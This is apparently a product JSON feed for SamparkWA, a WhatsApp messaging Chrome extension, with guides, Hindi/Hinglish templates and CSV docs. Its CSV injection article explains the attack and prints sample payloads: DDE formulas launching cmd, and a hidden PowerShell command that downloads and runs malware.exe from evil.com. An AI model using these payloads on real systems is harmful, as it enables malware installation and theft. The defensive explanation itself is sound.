{
  "version": "https://jsonfeed.org/version/1.1",
  "title": "SamparkWA by Trustoryx — Product Updates & Small Business WhatsApp Guides",
  "description": "Privacy-First WhatsApp Customer Messaging & CRM Assistant for Small Businesses",
  "home_page_url": "https://samparkwa.trustoryx.digital",
  "feed_url": "https://samparkwa.trustoryx.digital/feed.json",
  "language": "en_IN",
  "authors": [
    {
      "name": "Trustoryx Engineering",
      "url": "https://trustoryx.digital",
      "avatar": "https://samparkwa.trustoryx.digital/favicon.ico"
    }
  ],
  "items": [
    {
      "id": "https://samparkwa.trustoryx.digital/download",
      "url": "https://samparkwa.trustoryx.digital/download",
      "title": "SamparkWA v1.0.0 — Initial Release",
      "content_text": "SamparkWA v1.0.0 initial release with CSV formula injection protection, E.164 validation, multilingual templates, human-in-the-loop campaign state machine, and persistent opt-out registry.",
      "summary": "SamparkWA v1.0.0 initial release.",
      "date_published": "2026-10-15T00:00:00.000Z",
      "date_modified": "2026-10-15T00:00:00.000Z",
      "authors": [
        {
          "name": "Trustoryx Engineering",
          "url": "https://trustoryx.digital"
        }
      ],
      "tags": [
        "Release Notes",
        "SamparkWA",
        "Trustoryx"
      ]
    },
    {
      "id": "https://samparkwa.trustoryx.digital/blog/how-to-send-whatsapp-customer-reminders-without-getting-banned",
      "url": "https://samparkwa.trustoryx.digital/blog/how-to-send-whatsapp-customer-reminders-without-getting-banned",
      "title": "How to Send WhatsApp Customer Reminders Without Getting Banned (2026 Guide)",
      "content_text": "Why WhatsApp Bans Accounts\n\nWhatsApp bans accounts that violate its Terms of Service, particularly around automated messaging. The platform uses machine learning algorithms to detect patterns that indicate non-human sending behavior. Here's what triggers bans:\n\n- Sending messages faster than a human could type and click (e.g., 100 messages in 30 seconds)\n- Sending identical messages to a large number of contacts in rapid succession\n- Using unofficial APIs or modified WhatsApp clients (e.g., GBWhatsApp, WhatsApp Plus)\n- Using headless browser automation (Puppeteer, Selenium) to script WhatsApp Web\n- Receiving multiple 'Report Spam' or 'Block' actions from recipients in a short period\n- Messaging phone numbers that are not in your contact list without prior consent\n\n[WARNING] Bans are often permanent: Once WhatsApp bans your number for ToS violations, appealing is difficult and rarely successful. You lose your account, your chat history, your broadcast lists, and your customer communication channel permanently.\n\n---\n\nSigns You're at Risk of a Ban\n\nBefore a permanent ban, WhatsApp typically issues warnings. Watch for these signs:\n\n- Temporary account restriction (can't send messages for 24-48 hours)\n- 'You may be using an unofficial WhatsApp version' warning\n- Messages not being delivered to recipients (single tick only)\n- Sudden increase in 'Report Spam' notifications from your recipients\n- WhatsApp Web unexpectedly logging out or requiring re-scan\n\nIf you see any of these signs, stop using any automation tool immediately and switch to manual or human-in-the-loop messaging.\n\n---\n\nThe Human-in-the-Loop Approach\n\nThe human-in-the-loop approach is the safest way to send bulk customer reminders on WhatsApp. Instead of automating the sending process, a tool like SamparkWA prepares each message and requires a human to click the send button for every single recipient.\n\nApproach | Ban Risk | Speed | Cost\nManual typing | Zero | Very slow (2-3 min/message) | Free\nHuman-in-the-loop (SamparkWA) | Zero | ~30 sec/message | Free\nUnofficial API tools | Very high | Thousands/minute | Rs. 999-10,000/month\nOfficial Cloud API | Zero | Thousands/minute | Rs. 0.29-0.58/conversation\n\nSamparkWA sits between manual typing and automated tools. It eliminates the tedious parts of manual messaging (searching for contacts, typing names, copy-pasting templates) while keeping the actual send action human. This means your sending pattern is indistinguishable from manual messaging — WhatsApp's algorithms see a human clicking send at a human pace.\n\n---\n\nBest Practices for Safe Messaging\n\n- Send at a human pace — take at least 10-15 seconds between messages\n- Personalize every message with the recipient's name using variable chips\n- Vary your message content slightly — don't send byte-identical messages to 100 people\n- Only message customers who have shared their number with you voluntarily\n- Include an opt-out option (Reply STOP) in promotional messages\n- Honor opt-out requests immediately by adding the number to the opt-out registry\n- Limit promotional messages to 1-2 per week per customer\n- Keep transactional messages (appointment reminders) separate from promotional ones\n- Respond to customer replies — don't just broadcast and ignore\n\n---\n\nWhat to Do If You've Already Been Banned\n\nIf your WhatsApp number has been banned, here's what to do:\n\n1. Open WhatsApp and tap 'Request Review' in the ban notification\n2. Write a genuine appeal explaining that you use WhatsApp for legitimate business communication\n3. Stop using any automation tool that may have caused the ban\n4. Wait 24-48 hours for WhatsApp's review decision\n5. If the appeal is rejected, you'll need a new phone number with a fresh WhatsApp account\n6. Install SamparkWA on the new account and switch to human-in-the-loop messaging to prevent future bans\n\n[SUCCESS] Prevention is better than cure: The best strategy is to never use automated bulk senders in the first place. SamparkWA's human-in-the-loop approach guarantees zero ban risk while saving 80% of the time compared to manual messaging.",
      "summary": "WhatsApp permanently bans numbers that use automated bulk sending tools. This guide explains why bans happen, how to send customer reminders safely using a human-in-the-loop approach, and best practices for small businesses that can't afford to lose their WhatsApp number.",
      "date_published": "2026-10-10T00:00:00.000Z",
      "date_modified": "2026-10-10T00:00:00.000Z",
      "authors": [
        {
          "name": "Trustoryx Engineering",
          "url": "https://trustoryx.digital"
        }
      ],
      "tags": [
        "WhatsApp",
        "Compliance",
        "Small Business",
        "SamparkWA"
      ],
      "external_url": "https://samparkwa.trustoryx.digital/blog/how-to-send-whatsapp-customer-reminders-without-getting-banned"
    },
    {
      "id": "https://samparkwa.trustoryx.digital/blog/best-hindi-and-hinglish-whatsapp-templates-for-small-businesses",
      "url": "https://samparkwa.trustoryx.digital/blog/best-hindi-and-hinglish-whatsapp-templates-for-small-businesses",
      "title": "Best Hindi and Hinglish WhatsApp Templates for Small Businesses (25+ Ready to Copy)",
      "content_text": "Why Hindi and Hinglish Messages Get Better Results\n\nIn India, over 60% of WhatsApp users are more comfortable reading Hindi or Hinglish than English. Messages in the recipient's preferred language get higher open rates, faster responses, and fewer 'Report Spam' actions. For small businesses in Tier 2 and Tier 3 cities, Hindi and Hinglish aren't just nice-to-have — they're essential for effective customer communication.\n\n[INFO] Hinglish = Hindi + English: Hinglish is a blend of Hindi and English written in the Roman script. It's the most widely used informal communication style in India — examples: 'aapka appointment kal hai', 'payment kar dein', 'thank you'.\n\n---\n\nTips for Writing Effective WhatsApp Messages\n\n- Start with the customer's name — 'Hi {{name}}' gets attention immediately\n- Keep messages under 160 characters for readability on mobile screens\n- Use emojis sparingly (1-2 per message) to add warmth without looking spammy\n- Include a clear call-to-action — 'Reply YES', 'Aaj aayein', 'Call karein'\n- Add your business name so the customer knows who's messaging\n- Include opt-out instructions for promotional messages ('STOP reply karein')\n- Use variable chips to personalize — never send a generic 'Dear Customer' message\n\n---\n\nSalon & Spa Templates (5)\n\nThese templates are ready to copy and paste into SamparkWA. Replace the variable chips with your CSV column names.\n\n[INFO] Template 1: Appointment Reminder (Hinglish): Hi {{name}}! {{business_name}} se reminder hai - aapki {{service}} ki appointment {{appointment_date}} ko {{appointment_time}} baje hai. Confirm karne ke liye YES reply karein. Thanks!\n\n[INFO] Template 2: Appointment Reminder (Hindi): नमस्ते {{name}}! {{business_name}} की ओर से याद दिलाना है कि आपकी {{service}} की appointment {{appointment_date}} को {{appointment_time}} बजे है। कृपया YES reply करें। धन्यवाद!\n\n[INFO] Template 3: Festival Offer (Hinglish): Hi {{name}}! 🎉 {{business_name}} me Diwali Special! Sabhi facial aur hair spa par 30% discount, {{start_date}} se {{end_date}} tak. Book karein: {{booking_link}}\n\n[INFO] Template 4: Service Feedback (Hinglish): Hi {{name}}! Aapne {{business_name}} se {{service}} liya. Humara service kaisa laga? Review dein: {{review_link}}. Aapki feedback valuable hai!\n\n[INFO] Template 5: Membership Renewal (Hinglish): Hi {{name}}! Aapki {{business_name}} membership {{expiry_date}} ko expire ho rahi hai. Renew karne ke liye aaj visit karein. Special renewal discount bhi available!\n\n---\n\nCoaching Centre Templates (5)\n\n[INFO] Template 1: Fee Reminder (Hinglish): Dear {{parent_name}}, {{institute_name}} se reminder hai ki {{student_name}} ki quarterly fee Rs. {{fee_amount}} ki {{due_date}} tak due hai. Kripya UPI {{upi_id}} par payment karein.\n\n[INFO] Template 2: Fee Reminder (Hindi): प्रिय {{parent_name}}, {{institute_name}} की ओर से याद दिलाना है कि {{student_name}} की तिमाही फीस Rs. {{fee_amount}} की {{due_date}} तक देय है। कृपया UPI {{upi_id}} पर भुगतान करें।\n\n[INFO] Template 3: Test Result (Hinglish): Dear {{parent_name}}, {{student_name}} ne aaj ke {{subject}} test me {{score}}/{{total_marks}} score kiya. Class average: {{class_average}}. Detail: {{report_link}}\n\n[INFO] Template 4: Batch Timing Change (Hinglish): Dear {{student_name}}, {{institute_name}} me {{batch_name}} batch ka new timing {{new_timing}} ho gaya hai, effective {{effective_date}} se. Kripya note kar lein.\n\n[INFO] Template 5: Holiday Announcement (Hindi): प्रिय {{student_name}}, {{institute_name}} {{holiday_date}} को {{occasion}} के कारण बंद रहेगा। कक्षाएं {{reopen_date}} से शुरू होंगी। धन्यवाद!\n\n---\n\nRetail & Kirana Templates (5)\n\n[INFO] Template 1: New Stock (Hinglish): Hi {{name}}! 📦 {{business_name}} me naya stock aa gaya hai - {{product_name}} sirf Rs. {{price}} me! Stock limited hai, jaldi aayein. Address: {{shop_address}}\n\n[INFO] Template 2: Khata Reminder (Hinglish): Hi {{name}}, aapke {{business_name}} par Rs. {{pending_amount}} ke pending hain. Kripya jaldi clear karein. UPI: {{upi_id}}. Thank you!\n\n[INFO] Template 3: Khata Reminder (Hindi): नमस्ते {{name}}, आपके {{business_name}} पर Rs. {{pending_amount}} का बकाया है। कृपया जल्द भुगतान करें। UPI: {{upi_id}}। धन्यवाद!\n\n[INFO] Template 4: Festive Sale (English): Hi {{name}}! 🎉 Diwali Mega Sale at {{business_name}}! Flat 20% off on all groceries from {{start_date}} to {{end_date}}. Free gift on purchases above Rs. 500!\n\n[INFO] Template 5: We Miss You (Hinglish): Hi {{name}}! Hum aapko miss kar rahe hain 🙏 {{business_name}} par special 10% discount agli purchase par. Code: MISS10. Valid till {{expiry_date}}.\n\n---\n\nRepair Shop Templates (5)\n\n[INFO] Template 1: Device Ready (Hinglish): Hi {{name}}! ✅ Aapka {{device_model}} repair ho gaya hai. Pickup karne ke liye {{shop_address}} par aayein. Charges: Rs. {{total_cost}}. Sat-Sun 10am-8pm open.\n\n[INFO] Template 2: Device Ready (Hindi): नमस्ते {{name}}! ✅ आपका {{device_model}} रिपेयर हो गया है। पिकअप के लिए {{shop_address}} पर आएं। चार्ज: Rs. {{total_cost}}। शनि-रवि 10am-8pm खुले ह",
      "summary": "Hindi and Hinglish WhatsApp messages get 3x higher open rates than English-only messages for Indian small businesses. This article provides 25+ ready-to-copy templates with variable chips for five business verticals, plus tips on writing effective WhatsApp messages that customers actually read.",
      "date_published": "2026-10-08T00:00:00.000Z",
      "date_modified": "2026-10-08T00:00:00.000Z",
      "authors": [
        {
          "name": "Trustoryx Engineering",
          "url": "https://trustoryx.digital"
        }
      ],
      "tags": [
        "Templates",
        "Hindi",
        "Hinglish",
        "Small Business",
        "WhatsApp"
      ],
      "external_url": "https://samparkwa.trustoryx.digital/blog/best-hindi-and-hinglish-whatsapp-templates-for-small-businesses"
    },
    {
      "id": "https://samparkwa.trustoryx.digital/blog/why-local-first-chrome-extensions-are-safer-for-customer-data",
      "url": "https://samparkwa.trustoryx.digital/blog/why-local-first-chrome-extensions-are-safer-for-customer-data",
      "title": "Why Local-First Chrome Extensions Are Safer for Customer Data Than Cloud Tools",
      "content_text": "The Customer Data Problem with Cloud Tools\n\nMost WhatsApp bulk messaging tools — both legitimate and illegitimate — require you to upload your customer contact list to their cloud servers. Once uploaded, your data lives on infrastructure you don't control, processed by code you can't audit, accessible by employees you've never met. Here's what can go wrong:\n\n- Data breaches: Cloud servers are targets for hackers. A single breach can expose thousands of businesses' customer data simultaneously.\n- Unauthorized selling: Some tools sell customer contact data to third-party data brokers or marketing companies as a side revenue stream.\n- Insider access: Employees of the tool company can access your customer data without your knowledge or consent.\n- Subpoena and government access: Data stored on servers can be subject to government requests, legal discovery, or law enforcement access.\n- Service shutdown: If the tool company shuts down, your data may be sold as an asset, archived insecurely, or exposed during liquidation.\n- No audit trail: You have no way to know who accessed your data, when, or for what purpose.\n\n[WARNING] Small businesses are especially vulnerable: Small businesses often lack the legal resources to pursue cloud tool providers for data misuse. Once your customer list is on someone else's server, you've lost control of it permanently.\n\n---\n\nWhat Is Local-First Architecture?\n\nLocal-first is a software architecture principle where all data is stored on the user's device — not on any external server. The application works entirely offline, and data synchronization (if any) is optional and user-controlled. In the context of a Chrome extension like SamparkWA, local-first means:\n\n- All customer contact data is stored in the browser's IndexedDB local database\n- No data is transmitted to any external server at any point\n- No backend API or cloud database is involved in any operation\n- The extension works fully offline (except for WhatsApp Web itself, which requires internet)\n- The user has complete control over their data and can delete it at any time\n\n---\n\nCloud Tools vs. Local-First Extensions\n\nAspect | Cloud-Based Tools | Local-First Extensions (SamparkWA)\nData storage location | Third-party cloud servers | Your browser's IndexedDB\nData breach risk | High — servers are hacker targets | Near zero — no server to breach\nData selling risk | Possible — no transparency | Impossible — no server access\nInsider access | Yes — company employees can access | No — data never leaves your device\nWorks offline | No | Yes (except WhatsApp Web itself)\nAudit trail | None — you can't see who accessed | Full — it's all on your device\nData deletion | Request-based, may not be honored | Immediate — clear browser data\nGDPR/DPDP compliance | Complex — requires DPAs and audits | Simple — data never leaves device\nCost | Monthly subscription | Free\n\n---\n\nHow IndexedDB Keeps Your Data Local\n\nIndexedDB is a browser-native database that Chrome, Brave, Edge, and other Chromium browsers provide for storing structured data locally. SamparkWA uses IndexedDB for:\n\n- Contact database: All imported CSV contacts with validation status\n- Template library: Saved message templates in all supported languages\n- Opt-out registry: Phone numbers that have been excluded from campaigns\n- Campaign history: Records of past campaigns with send status per contact\n- Settings: Business name, default country code, language preferences\n\nIndexedDB data is scoped to the extension's origin — no other extension, website, or application can access it. It persists across browser sessions and survives restarts. The only way to lose data is to explicitly clear browser data or uninstall the extension.\n\n---\n\nTrustoryx Security Standards\n\nSamparkWA is engineered by Trustoryx, a digital verification and cybersecurity ecosystem. The local-first architecture is one of several security standards inherited from Trustoryx's engineering practices:\n\n- Zero data exfiltration: No telemetry, no analytics, no error reporting that includes customer data\n- Strict IndexedDB isolation: Extension data is sandboxed — no cross-origin access\n- CSV formula injection defense: All imported cells are sanitized for =, +, -, @ prefixes\n- E.164 validation: Phone numbers are validated before storage to prevent malformed data\n- Chrome Manifest V3 compliance: Uses the latest, most secure extension platform\n- Open auditability: The extension can be loaded unpacked, allowing anyone to inspect the code\n\n[SUCCESS] Verify it yourself: SamparkWA can be loaded as an unpacked extension, meaning you can inspect every line of code before running it. No obfuscation, no minification-only distribution, no hidden network calls. See for yourself at https://samparkwa.trustoryx.digital/download",
      "summary": "Cloud-based WhatsApp tools require you to upload customer contacts to third-party servers, exposing your data to breaches, unauthorized access, and selling. Local-first Chrome extensions like SamparkWA store all data in your browser's IndexedDB — no data ever leaves your device. This article explains why local-first is safer for small business customer data.",
      "date_published": "2026-10-05T00:00:00.000Z",
      "date_modified": "2026-10-05T00:00:00.000Z",
      "authors": [
        {
          "name": "Trustoryx Engineering",
          "url": "https://trustoryx.digital"
        }
      ],
      "tags": [
        "Security",
        "Privacy",
        "Local-First",
        "Chrome Extension"
      ],
      "external_url": "https://samparkwa.trustoryx.digital/blog/why-local-first-chrome-extensions-are-safer-for-customer-data"
    },
    {
      "id": "https://samparkwa.trustoryx.digital/blog/csv-injection-security-protecting-small-business-spreadsheets",
      "url": "https://samparkwa.trustoryx.digital/blog/csv-injection-security-protecting-small-business-spreadsheets",
      "title": "CSV Injection Security: Protecting Small Business Spreadsheets from Formula Attacks",
      "content_text": "What Is CSV Formula Injection?\n\nCSV formula injection (also known as CSV injection or formula injection) is a security vulnerability where a CSV file contains cells that start with characters that spreadsheet applications interpret as formulas. When a user opens the CSV file in Excel, Google Sheets, or LibreOffice Calc, these cells execute as formulas rather than displaying as text.\n\nThe four dangerous prefix characters are:\n\nPrefix | Formula Type | Example\n= | Excel formula | =HYPERLINK(\"http://evil.com\",\"Click here\")\n+ | Excel formula | +1+cmd|' /C calc'!A0\n- | Excel formula | -1+cmd|' /C calc'!A0\n@ | DDE command | @SUM(1)*cmd|' /C calc'!A0\n\n[WARNING] This is not theoretical: CSV injection attacks have been documented in major platforms including Google Forms, Salesforce exports, and Shopify order CSVs. Any system that exports user-provided data to CSV without sanitization is vulnerable.\n\n---\n\nHow an Attack Works in Practice\n\nImagine a small business that collects customer feedback through a Google Form. One of the form fields is 'Name'. An attacker enters the following as their name:\n\n[INFO] Malicious input: =cmd|' /C powershell -windowstyle hidden -Command \"iwr http://evil.com/malware.exe -OutFile $env:TEMP\\malware.exe; Start-Process $env:TEMP\\malware.exe\"'!A0\n\nWhen the business owner exports the form responses as a CSV and opens it in Excel, Excel interprets the cell as a formula and executes the PowerShell command, downloading and running malware on their computer — all because they opened a spreadsheet.\n\n---\n\nConsequences for Small Businesses\n\n- Malware installation on the business owner's computer, potentially leading to ransomware\n- Theft of customer data stored on the computer, including contact lists and financial records\n- Remote access trojans (RATs) that give attackers persistent control of the computer\n- Compromise of the business's WhatsApp account if the computer is infected\n- Financial fraud through access to banking portals and UPI apps on the compromised computer\n- Reputation damage if customer data is stolen and leaked\n\n---\n\nHow SamparkWA Protects Against It\n\nSamparkWA automatically sanitizes every cell during CSV import. When a cell starts with =, +, -, or @, SamparkWA prepends a single quote (') to the cell value. This forces spreadsheet applications to treat the cell as text rather than a formula.\n\nOriginal Cell | After Sanitization | Excel Behavior\n=HYPERLINK(...) | '=HYPERLINK(...) | Displays as text\n+1+cmd|... | '+1+cmd|... | Displays as text\n-1+cmd|... | '-1+cmd|... | Displays as text\n@SUM(1)*... | '@SUM(1)*... | Displays as text\nRamesh Kumar | Ramesh Kumar | No change (no prefix)\n\nThis sanitization runs automatically on every CSV import — no configuration or manual action required. It's part of Trustoryx's cybersecurity engineering standards, which include defense-in-depth against common attack vectors targeting small business software.\n\n[SUCCESS] Zero-effort protection: You don't need to understand CSV injection to be protected. SamparkWA handles it transparently during every import. Your exported contact files are always safe to open in any spreadsheet application.\n\n---\n\nManual Protection Tips\n\nEven if you don't use SamparkWA, you can protect yourself from CSV injection:\n\n- When opening a CSV file in Excel, use the 'Get Data > From Text/CSV' import wizard instead of double-clicking — it treats all columns as text by default\n- In Google Sheets, use 'File > Import > Upload' and select 'Text to columns' with 'Text' format\n- Scan CSV files for dangerous prefixes before opening: search for cells starting with =, +, -, or @\n- Never open CSV files from untrusted sources directly in Excel or Google Sheets\n- Use SamparkWA for any customer contact CSV imports — it sanitizes automatically",
      "summary": "CSV formula injection is a cyberattack where malicious spreadsheet cells execute code when opened in Excel or Google Sheets. Small businesses are particularly vulnerable because they import CSV files from customers, vendors, and online forms without sanitization. This article explains the attack, its consequences, and how SamparkWA's automatic sanitization protects your business.",
      "date_published": "2026-10-01T00:00:00.000Z",
      "date_modified": "2026-10-01T00:00:00.000Z",
      "authors": [
        {
          "name": "Trustoryx Engineering",
          "url": "https://trustoryx.digital"
        }
      ],
      "tags": [
        "Security",
        "CSV",
        "Formula Injection",
        "Trustoryx"
      ],
      "external_url": "https://samparkwa.trustoryx.digital/blog/csv-injection-security-protecting-small-business-spreadsheets"
    },
    {
      "id": "https://samparkwa.trustoryx.digital/docs/getting-started",
      "url": "https://samparkwa.trustoryx.digital/docs/getting-started",
      "title": "Getting Started with SamparkWA — 5-Minute Quickstart Guide",
      "content_text": "Prerequisites\n\nBefore you begin, ensure you have the following:\n\n- A desktop or laptop computer running Google Chrome, Brave, Microsoft Edge, Vivaldi, or Opera\n- An active WhatsApp account (personal or business) linked to WhatsApp Web\n- A CSV file with your customer contacts (we'll show you the format below)\n- 5 minutes of uninterrupted time\n\n[INFO] No technical knowledge required: SamparkWA is designed for shopkeepers, salon owners, and small business owners. If you can use WhatsApp Web, you can use SamparkWA.\n\n---\n\nStep 1: Install SamparkWA\n\nThere are two ways to install SamparkWA: from the Chrome Web Store (recommended) or by loading the unpacked extension manually.\n\n\n\n1. Visit the SamparkWA Chrome Web Store page\n2. Click 'Add to Chrome'\n3. Confirm by clicking 'Add extension' in the popup\n4. The SamparkWA icon will appear in your browser toolbar\n\n\n\n1. Download the samparkwa-latest.zip file from our /download page\n2. Extract the ZIP file to a folder on your computer\n3. Open chrome://extensions in your browser\n4. Enable 'Developer mode' using the toggle in the top-right corner\n5. Click 'Load unpacked' and select the extracted folder\n6. The SamparkWA icon will appear in your browser toolbar\n\n---\n\nStep 2: Open WhatsApp Web\n\nOpen web.whatsapp.com in your browser and scan the QR code with your phone (WhatsApp > Settings > Linked Devices > Link a Device). Once WhatsApp Web loads, you'll see the SamparkWA Assistant Bar at the bottom of the screen.\n\n[WARNING] Keep WhatsApp Web open: SamparkWA works inside WhatsApp Web. You must keep the WhatsApp Web tab open while sending messages. If the tab is closed or you lose internet connection, your campaign will pause.\n\n---\n\nStep 3: Import Your First CSV\n\nCreate a CSV file with your customer contacts. The simplest format is:\n\n```csv\nname,phone,service,appointment_date\nRamesh Kumar,+919876543210,Haircut,2026-10-25\nPriya Sharma,+919812345678,Facial,2026-10-26\nAmit Patel,+919765432109,Hair Spa,2026-10-27\n```\n\nClick 'Import CSV' in the SamparkWA Assistant Bar. Select your file. SamparkWA will:\n\n- Validate all phone numbers against the E.164 international standard\n- Sanitize every cell for CSV formula injection (=, +, -, @ prefixes neutralized)\n- Remove duplicate phone numbers\n- Show you a preview of all imported contacts\n- Flag any invalid numbers for your review\n\n[SUCCESS] Security checkpoint: All data is stored locally in your browser's IndexedDB. No contact information ever leaves your device. This is a core Trustoryx security standard.\n\n---\n\nStep 4: Compose Your First Message\n\nAfter importing your CSV, SamparkWA detects the column names and generates variable chips. Click a chip to insert it into your message template:\n\n- {{name}} — inserts the customer's name\n- {{service}} — inserts the service field\n- {{appointment_date}} — inserts the appointment date\n- {{business_name}} — inserts your business name (set in Settings)\n\nSelect a language (English, Hindi, or Hinglish) and type your message. Click 'Preview' to see how the message will look for the first 3 contacts. Verify that variable chips are being replaced correctly.\n\n[Hinglish] Quick start template:\nHi {{name}}! {{business_name}} se reminder hai - aapki {{service}} ki appointment {{appointment_date}} ko hai. Confirm karne ke liye YES reply karein. Thanks!\n\n---\n\nStep 5: Send with Human Confirmation\n\nWhen you're satisfied with the preview, click 'Prepare Campaign'. SamparkWA transitions each contact through the campaign state machine:\n\n```text\nqueued → prepared → manually_confirmed → sent\n```\n\nFor each contact, SamparkWA will:\n\n1. Open a new chat with the contact's phone number in WhatsApp Web\n2. Pre-fill the message text in the chat input box\n3. Wait for you to review the message and click the send button\n4. Record the send status and move to the next contact\n\n[WARNING] Human confirmation is mandatory: SamparkWA will never auto-click the send button. You must review and click send for each message. This is what makes SamparkWA safe — your sending pattern is identical to manual messaging.\n\n---\n\nNext Steps\n\nCongratulations! You've sent your first SamparkWA campaign. Here's what to explore next:\n\n- CSV Import and Formatting — Learn advanced CSV formats, custom columns, and E.164 validation rules\n- Hindi & Hinglish Message Templates — 25+ ready-to-use templates for every business type\n- Opt-Out and Compliance Guide — Set up your Do-Not-Contact registry and stay compliant\n- Official WhatsApp Cloud API Setup — When you're ready for high-volume automated sending",
      "summary": "SamparkWA is a privacy-first Chrome extension that helps small businesses send personalized WhatsApp messages to customers without risking account bans. This guide walks you through installation, importing your first CSV, composing a multilingual template, and sending your first human-confirmed message in under 5 minutes.",
      "date_published": "2026-10-15T00:00:00.000Z",
      "date_modified": "2026-10-15T00:00:00.000Z",
      "authors": [
        {
          "name": "Trustoryx Engineering",
          "url": "https://trustoryx.digital"
        }
      ],
      "tags": [
        "Documentation",
        "SamparkWA",
        "Trustoryx"
      ]
    },
    {
      "id": "https://samparkwa.trustoryx.digital/docs/csv-import-and-formatting",
      "url": "https://samparkwa.trustoryx.digital/docs/csv-import-and-formatting",
      "title": "CSV Import and Formatting Guide — E.164 Validation, Custom Columns, Formula Protection",
      "content_text": "Required CSV Format\n\nSamparkWA accepts standard CSV (Comma-Separated Values) files. The first row must be a header row containing column names. The only required column is 'phone' — all other columns are optional and become variable chips in your templates.\n\n```csv\nname,phone,service,appointment_date,amount\nRamesh Kumar,+919876543210,Haircut,2026-10-25,250\nPriya Sharma,+919812345678,Facial,2026-10-26,800\nAmit Patel,+919765432109,Hair Spa,2026-10-27,1200\n```\n\n[INFO] Encoding: Save your CSV file as UTF-8 encoding to ensure Hindi and Hinglish text displays correctly. Google Sheets and Excel both support UTF-8 export.\n\n---\n\nE.164 Phone Number Validation\n\nSamparkWA validates all phone numbers against the ITU-T E.164 international standard before any message is prepared. E.164 numbers follow the format: [country code][subscriber number], with a maximum of 15 digits and a leading + sign.\n\nFormat | Example | Valid?\nE.164 with + | +919876543210 | Yes\nE.164 without + | 919876543210 | Yes (auto-prefixed)\nIndian with 0 | 09876543210 | No (ambiguous — add country code)\nIndian with spaces | +91 98765 43210 | Yes (spaces auto-stripped)\nWith hyphens | +91-98765-43210 | Yes (hyphens auto-stripped)\nUS format | +12125551234 | Yes\nAlphabetic | +91ABC6543210 | No (invalid characters)\nToo long | +919876543210987654 | No (exceeds 15 digits)\n\n[INFO] Auto-conversion: If your CSV contains numbers without country codes (e.g., 9876543210), SamparkWA will prompt you to select a default country code (e.g., +91 for India) before import. All numbers will be automatically converted to E.164 format.\n\n---\n\nCustom Columns and Variable Chips\n\nEvery column in your CSV becomes a variable chip that you can insert into your message template. For example, if your CSV has a column called 'service', you can use the {{service}} chip in your message, and SamparkWA will replace it with each customer's specific service.\n\nCSV Column | Variable Chip | Example Value\nname | {{name}} | Ramesh Kumar\nphone | {{phone}} | +919876543210\nservice | {{service}} | Haircut\nappointment_date | {{appointment_date}} | 2026-10-25\namount | {{amount}} | 250\nbusiness_name | {{business_name}} | Glow Salon\n\n[INFO] Reserved variables: The variable {{business_name}} is automatically set in SamparkWA Settings and doesn't need to be in your CSV. All other variables must match your CSV column names exactly.\n\n---\n\nCSV Formula Injection Protection\n\nCSV formula injection is a security attack where malicious cells in a spreadsheet start with characters that spreadsheet applications (Excel, Google Sheets, LibreOffice) interpret as formulas. When opened, these cells can execute code, fetch external data, or corrupt your spreadsheet.\n\nPrefix | Risk | SamparkWA Action\n= (equals) | Executes Excel formulas | Prefixed with single quote (')\n+ (plus) | Executes Excel formulas | Prefixed with single quote (')\n- (minus) | Executes Excel formulas | Prefixed with single quote (')\n@ (at) | Triggers DDE commands in Excel | Prefixed with single quote (')\n\n[SUCCESS] Automatic protection: SamparkWA automatically sanitizes all four dangerous prefixes during CSV import. You don't need to do anything — your exported contact files are always safe to open in any spreadsheet application.\n\nThis protection is inherited from Trustoryx's cybersecurity engineering standards, which include defense-in-depth against common attack vectors targeting small business software.\n\n---\n\nSample CSV Download\n\nDownload a sample CSV file to see the expected format. You can open this in Google Sheets, Excel, or any text editor, modify it with your own contacts, and import it into SamparkWA.\n\n[INFO] Download: Download the sample CSV from: https://samparkwa.trustoryx.digital/samples/samparkwa-sample-contacts.csv\n\n```csv\nname,phone,service,appointment_date,amount,business_name\nRamesh Kumar,+919876543210,Haircut,2026-10-25,250,Glow Salon\nPriya Sharma,+919812345678,Facial,2026-10-26,800,Glow Salon\nAmit Patel,+919765432109,Hair Spa,2026-10-27,1200,Glow Salon\nSneha Gupta,+919845678901,Manicure,2026-10-28,300,Glow Salon\nVikram Singh,+919723456789,Beard Trim,2026-10-29,150,Glow Salon\n```\n\n---\n\nTroubleshooting Import Errors\n\nError | Cause | Solution\nNo contacts imported | CSV file is empty or has no header row | Ensure first row contains column names including 'phone'\nAll numbers flagged as invalid | Missing country code in phone column | Add country code (e.g., +91) or select default country during import\nHindi text shows as ??? | CSV saved as ANSI/Latin1 instead of UTF-8 | Re-save as UTF-8 encoding in Excel or Google Sheets\nVariable chips not replaced | Column name mismatch | Ensure chip name matches CSV header exactly (case-insensitive)\nDuplicate contacts | Same phone number appears multiple times | SamparkWA auto-removes duplicates — check the preview count",
      "summary": "SamparkWA imports customer contacts from standard CSV files. This guide covers the required CSV format, E.164 phone number validation rules, custom column support for variable chips, and the automatic CSV formula injection protection that sanitizes dangerous cell prefixes (=, +, -, @) before storage.",
      "date_published": "2026-10-15T00:00:00.000Z",
      "date_modified": "2026-10-15T00:00:00.000Z",
      "authors": [
        {
          "name": "Trustoryx Engineering",
          "url": "https://trustoryx.digital"
        }
      ],
      "tags": [
        "Documentation",
        "SamparkWA",
        "Trustoryx"
      ]
    },
    {
      "id": "https://samparkwa.trustoryx.digital/docs/hindi-hinglish-message-templates",
      "url": "https://samparkwa.trustoryx.digital/docs/hindi-hinglish-message-templates",
      "title": "Hindi & Hinglish WhatsApp Message Templates — 25+ Ready-to-Use Templates",
      "content_text": "How to Use These Templates\n\nEach template below uses variable chips in double curly braces like {{name}}. These are automatically replaced with data from your CSV columns. To use a template:\n\n1. Copy the template text\n2. Paste it into the SamparkWA message composer\n3. Ensure your CSV has columns matching the variable names (e.g., 'name', 'service', 'appointment_date')\n4. Click Preview to verify variable replacement\n5. Click Prepare Campaign to start sending\n\n---\n\nSalon & Spa Templates\n\n[Hinglish] Appointment reminder:\nHi {{name}}! {{business_name}} se reminder hai - aapki {{service}} ki appointment {{appointment_date}} ko {{appointment_time}} baje hai. Confirm karne ke liye YES reply karein. Thanks!\n\n[Hindi] Appointment reminder:\nनमस्ते {{name}}! {{business_name}} की ओर से याद दिलाना है कि आपकी {{service}} की appointment {{appointment_date}} को {{appointment_time}} बजे है। कृपया confirm करने के लिए YES reply करें। धन्यवाद!\n\n[English] Appointment reminder:\nHi {{name}}! Reminder from {{business_name}}: your {{service}} appointment is on {{appointment_date}} at {{appointment_time}}. Reply YES to confirm or RESCHEDULE to change. Thank you!\n\n[Hinglish] Festival offer:\nHi {{name}}! 🎉 {{business_name}} me Diwali Special! Sabhi facial aur hair spa par 30% discount, {{start_date}} se 